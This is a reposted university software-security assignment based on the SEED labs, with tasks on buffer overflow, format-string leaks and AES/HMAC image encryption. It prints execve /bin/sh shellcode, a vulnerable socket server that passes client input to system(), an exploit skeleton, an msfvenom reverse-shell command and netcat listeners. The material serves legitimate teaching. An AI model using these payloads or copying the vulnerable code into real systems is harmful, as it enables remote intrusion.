Write My Paper Button

WhatsApp Widget

FIT 3173 Software Security | My Assignment Tutor

March 26, 2021FIT 3173 Software Security Assignment I (S1 2021)Total Marks 100Due on Week 6 April 16, 2021, Friday noon, 11:59:001 OverviewThe learning objective of this assignment is for you to gain a first-hand experience on various vulnerabilitiesand attack in c programming language and get a deeper understanding on how to use cryptographic algorithms correctly … Continue reading “FIT 3173 Software Security | My Assignment Tutor”

March 26, 2021FIT 3173 Software Security Assignment I (S1 2021)Total Marks 100Due on Week 6 April 16, 2021, Friday noon, 11:59:001 OverviewThe learning objective of this assignment is for you to gain a first-hand experience on various vulnerabilitiesand attack in c programming language and get a deeper understanding on how to use cryptographic algorithms correctly in practice. All tasks in this assignment can be done on “SeedVM” as used in labs. Pleaserefer to Section 2 for submission notes.2 SubmissionYou need to submit a lab report (one single PDF file) to describe what you have done and what you haveobserved with screen shots whenever necessary; you also need to provide explanation or codes to theobservations that are interesting or surprising. In your report, you need to answer all the questions listed inthis manual. Please answer each question using at most 100 words. Typeset your report into .pdf format(make sure it can be opened with Adobe Reader) and name it as the format: [Your Name]-[Student ID]-FIT3173-Assignment1, e.g., HarryPotter-12345678-FIT3173-Assignment1.pdf.All source code if required should be embedded in your report. In addition, if a demonstration video isrequired, you should record your screen demonstration with your voice explanation and upload the video toyour Monash Google Drive. Your face should be visible at least at the beginning of the video interview. Ifyou do not wish to have your face visible in the video, contact the teaching team at least a weak before thedeadline so as to arrange a physical interview. The shared URL of the video should be mentioned in yourreport wherever required. You can use this free tool to make the video:https://monash-panopto.aarnet.edu.au/; other tools are also fine. Then, please upload the PDF file to Moodle. Note: the assignment is due on April16, 2021, Friday noon, 11:59:00Late submission penalty: 10 points deduction per day. If you require a special consideration, theapplication should be submitted and notified at least three days in advance. Special Considerationsare handled by and approved by the faculty and not by the teaching team (unless the special considerationis for a small time period extension of one or two days). Zero tolerance on plagiarism: If you are foundcheating, penalties will be applied, i.e., a zero grade for the unit. University polices can be found at https://www.monash.edu/students/academic/policies/academic-integrity13 Buffer Overflow Vulnerability [80 Marks]The learning objective of this part is for you to gain the first-hand experience on buffer-overflow vulnerabilityby putting what they have learned about the vulnerability from class into action. Buffer overflow is definedas the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixedlength buffers. This vulnerability can be utilized by an attacker to alter the flow control of the program, evenexecute arbitrary pieces of code to enable remote access attacks. This vulnerability arises due to the mixingof the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in thedata part can affect the control flow of the program, because an overflow can change the return address.In this part, you will be given a program with a buffer-overflow vulnerability; the task is to develop ascheme to exploit the vulnerability and finally send a remote access to an attacker. In addition to the attacks,you will be guided to walk through several protection schemes that have been implemented in the operatingsystem to counter against the buffer overflow. You need to evaluate whether the schemes work or not andexplain why.3.1 Initial setupYou can execute the tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. Tosimplify our attacks, we need to disable them first.Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addressesdifficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this part, we disablethese features using the following commands:$ su rootPassword: (enter root password “seedubuntu”)# sysctl -w kernel.randomize_va_space=0# exitThe StackGuard Protection Scheme. The GCC compiler implements a security mechanism called “StackGuard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. Youcan disable this protection if you compile the program using the -fno-stack-protector switch. For example,to compile a program example.c with Stack Guard disabled, you may use the following command:$ gcc -fno-stack-protector example.cNon-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binaryimages of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decidewhether to make the stack of this running program executable or non-executable. This marking is doneautomatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To changethat, use the following option when compiling programs:For executable stack:$ gcc -z execstack -o test test.c2For non-executable stack:$ gcc -z noexecstack -o test test.c3.2 Task 1: Shellcode PracticeBefore you start the attack, we want you to exercise with a shellcode example. A shellcode is the code tolaunch a shell. It is a list of carefully crafted instructions created by malicious users/attackers so that it canbe executed once the code is injected into a vulnerable program. Therefore, it has to be loaded into thememory so that we can force the vulnerable program to jump to it. Consider the following program:#include int main( ) {char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}The shellcode that we use is the assembly version of the above program. The following program showsyou how to launch a shell by executing a shellcode stored in a buffer.Please compile and run the following code, and see whether a shell is invoked. Please briefly describeyour observations. [Marking scheme: 2 marks for the screenshot and 3 marks for the explanation]Question 1/* call_shellcode.c *//*A program that creates a file containing code for launching shell*/#include #include #include const char code[] = “x31xc0”“x50”“x68″”//sh”“x68″”/bin”“x89xe3”“x50”“x53”“x89xe1”“x99”“xb0x0b”“xcdx80”/* Line 1:xorl%eax,%eax%eax$0x68732f2f$0x6e69622f%esp,%ebx%eax%ebx%esp,%ecx*/*/*/*/*/*/*/*/*/*/*//* Line 2: pushl/* Line 3: pushl/* Line 4: pushl/* Line 5: movl/* Line 6: pushl/* Line 7: pushl/* Line 8: movl/* Line 9:cdq/* Line 10: movb/* Line 11: int$0x0b,%al$0x80 3;int main(int argc, char **argv){char buf[sizeof(code)];strcpy(buf, code);((void(*)( ))buf)( );}Please use the following command to compile the code (don’t forget the execstack option):$ gcc -z execstack -g -o call_shellcode call_shellcode.c3.3 The Vulnerable ProgramIn this Section we introduce the vulnerable program shown in the following listing. The program acts as aserver capturing payloads from a client in the buf variable and using them as parameters for the executionof the grep linux command. The goal of the program is to allow a client to search for useful entries in aspecific document file (the file is called notes) and see this information in the client machine. This linuxcommand is executed in the function exec_command and the command results are returned back to theclient through the opened socket between client and server (by rerouting the standard output file)./* stack.c */#include #include #include #include #include #include #include #define PORT 6060int exec_command(int sock, char* buf) {char command[XX];char* val1 = 0;close(STDOUT_FILENO);close(STDERR_FILENO);dup2(sock, STDOUT_FILENO);dup2(sock, STDERR_FILENO);val1 = strtok(buf, “n”);sprintf(command, “cat ./notes | grep -i %s”, val1);system(command);return 0;}void main()4{struct sockaddr_in server;struct sockaddr_in client;int clientLen;int sock, newsock;char buf[1500];pid_t pid, current = getpid();int ret_val;sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sock 0){waitpid(id, &status, 0);return 0;}else {7if (execve(“/bin/grep”, argv_list, NULL) == 0) {return -1;};} }Warning: Note: In the vulnerable program and specifically in the varable command you need toreplace XX with your studentid % 32 (modulo 32) and add 80 to it. xx= studentid % 32 + 80.Keep in mind that the size of the buffer may influence how you will perform the buffer overflow attack.!Recompile the vulnerable program with the new code and try to perform the previous attack. Does theattack work? Explain your answer [marking guide: 2 marks for screenshot with the new attackattempt. 3 marks for the explanation]Question 43.4.3 Task 4In this task, the goal is to perform an attack on the server using the buffer overflow vulnerability.We provide you with a partially completed exploit code called exploit.c. The goal of this codeis to construct contents for “badfile”. In this code, you need to inject a reverse shell into the variableshellcode, and then fill the variable buffer with appropriate contents./* exploit.c *//* A program that creates a file containing code for launching shell*/#include #include #include char shellcode[]= /* add your reverse shellcode here*/;void main(int argc, char **argv){char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here *//* Save the contents to the file “badfile” */8badfile = fopen(“./badfile”, “w”);fwrite(buffer, 517, 1, badfile);fclose(badfile);}You need to read Appendix 5.1 to investigate how to create a reverse shellcode. To simulate the attackerwho is listening at a specific address/port and waiting for the shell, you can have a new linux terminalwindow and use netcat to listen. We refer you to Appendix 5.2 for this simulation. After you finish theabove program, compile and run it. This will generate the contents for “badfile”. Then run the vulnerableprogram stack2.c. If your exploit is implemented correctly, the attacker should be able to get the reverseshell.Info: Please compile your vulnerable program first. Please note that the program exploit.c, whichgenerates the badfile, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer instack2.c, which is compiled with the Stack Guard protection disabled.$ gcc -g -o exploit exploit.c $./exploit$./stack// create the badfile// launch the attack by running the vulnerable program If the attacker obtains the shell successfully, her terminal should be as follows (assuming that she islistening at the port 4444, and the program stack2.c is running at the address 10.0.2.15 or anyother relevant IP address on your VM).$[02/01/20]seed@VM:˜$ nc -lvp 4444 // listening at the port 4444Listening on [0.0.0.0] (family 0, port 4444)Connection from [10.0.2.15] port 4444 [tcp/*] acceptedOnce the attacker obtains the shell, the attacker can remotely manipulate all the current files where theprogram stack2 runs.iInfo: Note: For this task, you are allowed to use gdb on the server in order to perform correctlythe Buffer Overflow attack. Answering this task can be easier if the server is running in the gdbenvironment. Also, if you wish to test if the shellcode works you can use the listing of task 1i9Provide your video demonstration evidence to support and verify that you have performed theattack and it worked successfully. You need to upload your demo video to your Monash Google Driveand embed its shared link to your report so that the teaching team can view and verify your works. Inthe video, you need to demonstrate following key points:• The buffer overflow happens and the attacker receives the shell when the victim executes thevulnerable program stack2. (10 marks if the attack works during your demonstrationvideo)• Debug the program stack2 to investigate the return memory address and local variables in thevulnerable function. (10 marks for the debug demonstration and memory analysis)• Open the program exploit.c and explain clearly line by line how you structured the contentfor “badfile”.(10 marks for your explanation during the demonstration video)Question 5Info: Hint: Please read the Guidelines of this part. Also you can use the GNU debugger gdb to findthe address of buf [bufferSize] and “Return Address”, see Guidelines and Appendix. Pleasenote that providing incorrect student ID will result 0 mark for this task. The full marks are onlygiven if you have solid explanation with supporting memory address analysis.i3.4.4 Task 5Having access to the GDB debugger as an attacker is not a very realistic scenario in the experiments that weare currently doing. In fact, the attacker (acting as a client) shouldn’t be able to have access to the serverprogram or the server’s linux OS (for the sake of simplicity in the previous tasks we relaxed this constrain).In this task we assume that the attacker doesn’t have access to the server. This means that apart fromexecuting the server program you cannot perform any further actions on this program (for example youcannot debug the server program with gdb).Based on this constrain, you can exploit some other vulnerability that the exec_command functionhas, in order to get some insight about the server’s stack memory and then use that information to performthe buffer overflow attack. That implied vulnerability is the format string vulnerability.10Perform an attack similar to the one in the previous task (using the reverse shell shellcode) butwithout the use of GDB. Provide your video demonstration evidence to support and verify thatyou have performed the attack and it worked successfully. You need to upload your demo video toyour Monash Google Drive and embed its shared link to your report so that the teaching team can viewand verify your works. In the video, you need to demonstrate following key points:• Describe how you exploited the format string vulnerability and how you managed to retrieveduseful information for the next step of the attack. (10 marks for your explanation during thedemonstration video)• Describe what each retrieved useful information means for the attack from the collected formatstring exploit outputs.(5 marks for your explanation during the demonstration video)• Show that the buffer overflow happens using the retrieved information and that the attacker receives the shell when the victim executes the vulnerable program stack2. (5 marks if theattack works during your demonstration video)Question 63.5 Completion and file deliveryWarning: All codes in above files (shellcode.c, exploit.c, stack.c/stack2.c, and badfile) need to beattached to your PDF report to obtain full marks. Failure to provide any of the above four documentswill result in a reduction of 2.5 Marks for each file.!4 GuidelinesWe can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will notbe pointing to it. One thing we can do is to change the return address to point to the shellcode. But wehave two problems: (1) we do not know where the return address is stored, and (2) we do not know wherethe shellcode is stored. To answer these questions, we need to understand the stack layout the executionenters a function. The following figure gives an example.Finding the address of the memory that stores the return address. From the figure, we know, if wecan find out the address of buffer[] array, we can calculate where the return address is stored. Sincethe vulnerable program is a Set-UID program, you can make a copy of this program, and run it with yourown privilege; this way you can debug the program (note that you cannot debug a Set-UID program).In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of themalicious code. You can even modify the copied program, and ask the program to directly print out theaddress of buffer[]. The address of buffer[] may be slightly different when you run the Set-UIDcopy, instead of of your copy, but you should be quite close.If the target program is running remotely, and you may not be able to rely on the debugger to find outthe address. However, you can always guess. The following facts make guessing a quite feasible approach:• Stack usually starts at the same address.11str (a pointer to a string)Return AddressPrevious Frame Pointer (FP)buffer[0] … buffer[11]variable_avoid func (char *str) {char buffer[12];int variable_a;strcpy (buffer, str);}Int main() {char *str = “I am greater than 12 bytes”;func (str);}Current FrameCurrent FP(a) A code example (b) Active Stack Frame in func()High AddressLow Address• Stack is usually not very deep: most programs do not push more than a few hundred or a few thousandbytes into the stack at any one time.• Therefore the range of addresses that we need to guess is actually quite small.Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accurately calculate the address (for example, for remote programs), you can still guess. To improve the chanceof success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jumpto any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.buffer [0] …… buffer [11]Previous FPReturn AddressstrMalicious Codebuffer [0] …… buffer [11]Previous FPReturn AddressstrMalicious CodeNOPNOPNOP…… (many NOP’s)(a) Jump to the malicious code (b) Improve the chanceStack’s growing directionStoring an long integer in a buffer: In your exploit program, you might need to store an long integer (4bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actuallyoccupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of differenttypes, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer,and then assign the integer. The following code shows how to assign an long integer to a buffer starting atbuffer[i]:12char buffer[20];long addr = 0xFFEEDD88;long *ptr = (long *) (buffer + i);*ptr = addr;5 Proper Usage of Symmetric Encryption [20 Marks]In this task, we will play with hash function to achieve integrity and with symmetric key encryption algorithms different modes of operation. The provided file pic original.bmp contains a simple picture. Wewould like to encrypt this picture, so people without the encryption keys cannot know what is in the picture.Also, we want to make sure that the encrypted files are not modified/altered by some unauthorized entity.Thus, we are going to create program that has the following approach:1. open the image file and load it to the software program2. initialize the key (the key will be your studentid) to be used and the IV to be used (a random number)3. generate the Message Digest of the image using the HMAC function. You can use as a key youstudentid4. concatenate the message digest at the end of the image5. encrypt the image and its message digest using AES ECB and CBC modes6. view the encrypted image with an image viewing toolPlease encrypt the file using the AES ECB (Electronic Code Book) and AES CBC (Cipher Block Chaining) modes, and then do the following:Note: for the first task, you can go either option 1 or option 2. But option 2 will allow you to obtainthe full marks of this question.1. Option 1 (5 Marks): You can use the following openssl enc command to encrypt/decrypt theimage file. To see the manuals, you can type man openssl and man enc.% openssl enc ciphertype -e -in pic_original.bmp -out cipher.bin -K 00112233445566778889aabbccddeeff -iv 0102030405060708Please replace the ciphertype with a specific cipher type, such as -aes-128-cbc and -aes-128-ecb.In this task, you should try AES ECB and AES CBC modes using your student id as the encryption key for encryption. You can find the meaning of the command-line options and all thesupported cipher types by typing ‘‘man enc’’ (check the supported ciphers section). Weinclude some common options for the openssl enc command in the following:-in input file-out output file-e encrypt-d decrypt13 -K/-iv-[pP]key/iv in hex is the next argumentprint the iv/key (then exit if -P) You can also follow similar steps for the hmac of the message (for example you can find moreinformation in the following link: https://stackoverflow.com/questions/7285059/hmac-sha1-in-bash)Option 1: Provide the commands that you used in order to implement the described scenarioof this task and attach screenshots of you actions using the terminal in your report. [Markingscheme: 3 marks for the instructions and 2 marks for the screenshots]Question 72. Option 2 (20 Marks): Write a C program by using OpenSSL library to encrypt the image in AES ECBand AES CBC mode respectively and to use HMAC as described in the beginning of this task. Youare required to use your student id as the encryption key for encryption and MAC. You may refer tothe sample code given in Appendix 5.4. Header files “openssl/conf.h, openssl/evp.h, openssl/hmac.h,openssl/err.h” will be used for calling related OpenSSL functions. Using the following command lineto compile your program (assuming that your program is image encryption.c and your executable fileis named as image encryption):$ gcc -I /usr/local/ssl/include -L /usr/local/ssl/lib -o image_encryption image_encryption.c -lcrypto -ldlSome references for coding:https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryptionhttps://alinush.github.io/AES-encrypt/https://stackoverflow.com/questions/9889492/how-to-do-encryption-using-aes-in-opensslhttps://gist.github.com/yoshiki/812d35a32bcf175f11cb952ed9d1582aLet us treat the encrypted picture as a picture, and use a picture viewing software to display it. However, for the .bmp file, the first 54 bytes contain the header information about the picture, we haveto set it correctly, so the encrypted file can be treated as a legitimate .bmp file. We will replace theheader of the encrypted picture with that of the original picture. You can use the ghex tool (on thedesktop of SEED-VM) to directly modify binary files.14Option 2 (full marks): Provide your video demonstration evidence to support and verify thatyou have performed the encryption with different AES ECB and CBC modes. You need toupload your demo video to your Monash Google Drive and embed its shared link to your reportso that the teaching team can view and verify your works. In the video, you need to demonstratefollowing key points:• Run the program with different encryption modes and display the encrypted pictures usingany picture viewing software. Can you derive any useful information about the originalpicture from the encrypted picture? Please explain your observations(10 marks for yourexplanation during demonstration video)• Open the source code and explain clearly how you program to generate such results. (10marks for your coding explanation during demonstration video).Warning: Completion: Please put your code and related code comments, and the encrypted pictures to your report. Failure to do that will result in a reduction of 10 marksfrom the task’s total mark!Question 8AcknowledgementThis assignment are based on the SEED project (Developing Instructional Laboratories for Computer SEcurity EDucation) at the website http://www.cis.syr.edu/˜wedu/seed/index.html.6 Appendix6.1 Reverse Shell CreationA reverse shell (sometimes is known as a malicious shell) enables the connection from the target machine tothe attacker’s machine. In this situation, the attacker’s machine acts as a server. It opens a communicationon a port and waits for incoming connections. The target machine acts as a client connecting to that listener,and then finally the attacker receives the shell. These attacks are dangerous because they give an attacker aninteractive shell on the target machine, allowing the attacker to manipulate file system/data.In this assignment, there are two ways that can be followed in order to use a reverse shell. The first wayis to use popular shellcode databases on the internet in order to find an appropriate shellcode or use sometool that can generate a shellcode for us.Popular exploitation databases that provide shellcodes are the following:http://shell-storm.org/shellcode/https://www.exploit-db.com/shellcodes15Alternatively, to generate a shellcode, we can use msfvenom module in Metasploit. Metasploit is oneof the most powerful and widely used tools for exploring/testing the vulnerability of computer systems orto break into remote systems. You first install Metasploit by openning a terminal and entering the followingcommand. Note that the command is one-line command without line breaks.curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstallTo see msfvenom help, you can use msfvenom -h . To generate a reverse shell, you can use thefollowing command. You should wait few seconds to obtain the reverse shellcode.msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f cwhere -p is a payload type (in this case it’s for 32-bit Linux reverse shell binary), LHOST is your SEEDmachine’s IP address (assuming you’re the attacker), LPORT is the port where the attacker is listening, and-f is a format (c in this case).Warning: Some shellcodes may not work in your Seed VM and/or with the provided vulnerable program. For example. this can happen if the shellcode has a byte with —00— value (the NULL value)which is interpreted by c as the end character of a string and will stop the execution of the shellcode.We will consider a solution to be correct as long as the netcat listener manages to receive a connect(even if the connection cannot be maintained afterwards and netcat closes)!6.2 Netcat ListenerIn this assignment, we use Netcat to simulate the attacker’s listener. Fortunately, Netcat is already installedin SEEDVM. It’s a versatile tool that has been dubbed the Hackers’ Swiss Army Knife. It’s the most basicfeature is to read and write to TCP and UDP ports. Therfore, it enables Netcat can be run as a client ora server. To see Netcat help, you can type nc -h in terminal. If you want to connect to a webserver(10.2.2.2) on port 80, you can typenc -nv 10.2.2.2 80And if you want your computer to listen on port 80, you can typenc -lvp 806.3 GNU DebuggerThe GNU debugger gdb is a very powerful tool that is extremely useful all around computer science, andMIGHT be useful for this task. A basic gdb workflow begins with loading the executable in the debugger:gdb executableYou can then start running the problem with:$ run [arguments-to-the-executable]16(Note, here we have changed gdbOs default prompt of ˜ (gdb) to $).In order to stop the execution at a specific line, set a breakpoint before issuing the “run” command.When execution halts at that line, you can then execute step-wise (commands next and step) or continue(command continue) until the next breakpoint or the program terminates.$ break line-number or function-name$ run [arguments-to-the-executable]$ step # branch into function calls$ next # step over function calls$ continue # execute until next breakpoint or program terminationOnce execution stops, you will find it useful to look at the stack backtrace and the layout of the currentstack frame:$ backtrace$ info frame 0$ info registersYou can navigate between stack frames using the up and down commands. To inspect memory at aparticular location, you can use the x/FMT command$ x/16 $esp$ x/32i 0xdeadbeef$ x/64s &bufwhere the FMT suffix after the slash indicates the output format. Other helpful commands are disassembleand info symbol. You can get a short description of each command via$ help commandIn addition, Neo left a concise summary of all gdb commands at:http://vividmachines.com/gdbrefcard.pdfYou may find it very helpful to dump the memory image (Ocore ` O) of a program that crashes. The core ´captures the process state at the time of the crash, providing a snapshot of the virtual address space, stackframes, etc., at that time. You can activate core dumping with the shell command:% ulimit -c unlimitedA crashing program then leaves a file core in the current directory, which you can then hand to thedebugger together with the executable:gdb executable core$ bt # same as backtrace$ up # move up the call stack$ i f 1 # same as “info frame 1”$ …Lastly, here is how you step into a second program bar that is launched by a first program foo: gdb -e foo -s bar# load executable foo and symbol table of bar$ set follow-fork-mode child# enable debugging across programs$ b bar:f# breakpoint at function f in program bar$ r# run foo and break at f in bar 176.4 AES Encryption Function Sample CodeThe AES encryption function will take as parameters the plaintext, the length of the plaintext, the key to beused, and the IV. We will also take in a buffer to put the ciphertext in (which we assume to be long enough),and will return the length of the ciphertext that we have written. Encrypting consists of the following stages:(1) Setting up a context (2) Initialising the encryption operation (3) Providing plaintext bytes to be encrypted(4) Finalising the encryption operation.During initialisation, we need to provide an EVP CIPHER object. In this example, we are usingEVP aes 128 cbc(), which uses the AES algorithm with a 128-bit key in CBC mode.int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,unsigned char *iv, unsigned char *ciphertext){EVP_CIPHER_CTX *ctx;int len;int ciphertext_len;/* Create and initialise the context */if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();/* Initialise the encryption operation. IMPORTANT – ensure you use a key* and IV size appropriate for your cipher*/if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))handleErrors();/* Provide the message to be encrypted, and obtain the encrypted output.* EVP_EncryptUpdate can be called multiple times if necessary*/if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))handleErrors();ciphertext_len = len;/* Finalise the encryption. Further ciphertext bytes may be written at* this stage.*/if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) handleErrors();ciphertext_len += len;/* Clean up */EVP_CIPHER_CTX_free(ctx);return ciphertext_len;}Also, the code skeleton is given for image encryption. Note: if you stick to the following steps, yourprogram will directly output the encrypted image which can be viewed by any image viewer. Alternatively,18you may encrypt the entire image file and use ghex tool as suggested in the step of Question 2 to replace theheader of the original image header for image preview.#include #include #include #include #include #include void handleErrors(){printf(“Wrong encryption progressn”);}int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,unsigned char *iv, unsigned char *ciphertext){// implement the encryption function based on the above example}int main(int argc, char **argv){char * fileName=”pic_original.bmp”;//======================= STEP 0=====================================///* Key initialization.It will be automaticalled padded to 128 bit key *///======================= STEP 1=====================================///* IV initialization.The IV size for *most* modes is the same as the block size.* For AES128 this is 128 bits*///======================= STEP 2=====================================////read the file from given filename in binary modeprintf(“Start to read the .bmp file n”);//======================= STEP 3=====================================///*allocate memory for bitmapHeader and bitmapImage.then read bytes for these variables *///allocate memory for the final ciphertext/* as this is a .bmp file we read the header,19the first 54 bytes, into bitmapHeader*///read the bitmap image content until the end of the .bmp file//======================= STEP 4=====================================//// encrypt the bitmapImage with the given studentId key//======================= STEP 5=====================================///*merge header and bitmap to the final ciphertextand output it into a .bmp file*/return 1;}20

Don`t copy text!
WeCreativez WhatsApp Support
Our customer support team is here to answer your questions. Ask us anything!
???? Hi, how can I help?